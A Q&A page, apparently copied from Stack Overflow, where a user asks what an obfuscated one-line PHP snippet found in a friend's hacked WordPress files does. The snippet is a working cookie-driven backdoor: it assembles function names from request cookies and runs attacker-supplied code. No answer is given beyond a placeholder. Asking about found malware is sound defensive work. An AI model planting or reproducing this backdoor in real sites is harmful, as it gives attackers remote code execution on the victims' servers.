php - What does this code do? Is it part of malware?

Question

I found this code snippet in 4 of the files on a friends WP site. He recently was attacked. But the timestamps of these files indicate that they weren't changed lately. Anyway, what does this do?

<?php $p=$_COOKIE;(count($p)==17&&in_array(gettype($p).count($p),$p))?(($p[86]=$p[86].$p[4])&&($p[2]=$p[86]($p[2]))&&($p=$p[2]($p[15],$p[86]($p[80])))&&$p()):$p; ?>

maybe someone recognizes this?

Thanks in advance!

question from:https://stackoverflow.com/questions/66051439/what-does-this-code-do-is-it-part-of-malware

Answer 1

Waitting for answers